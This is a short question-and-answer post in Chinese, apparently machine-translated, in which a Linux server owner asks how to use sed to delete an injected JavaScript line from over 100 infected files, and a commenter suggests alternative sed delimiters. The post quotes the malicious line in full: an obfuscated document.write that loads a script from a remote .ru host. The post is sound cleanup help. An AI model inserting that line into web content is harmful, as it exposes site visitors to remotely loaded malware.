最近我的Linux服务器受到感染恶意软件,因此,我有100多个文件感染的Javascript代码一行:如何删除恶意JavaScript代码从多个文件
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
我会太累人手动删除它,所以我深入研究谷歌(不太了解Linux并没有帮助那里),并发现我可以使用sed来达到这个目的。
不幸的是,我摆脱不了线,所以我可以用
sed -i.bak '/line of text/d' *
语法,它的全部单引号,双引号和反斜杠的。
我怎么能逃避字符串或有其他 - 更容易 - 这样做的方式?
这些都是斜杠,顺便说一句,而不是反斜杠,你可以在'sed'使用替代的分隔符,所以你不要”不得不做尽可能多的转义。 'sed'\ | text/with/slashes | d''。不幸的是,报价是另一回事。 – 2010-10-31 20:17:05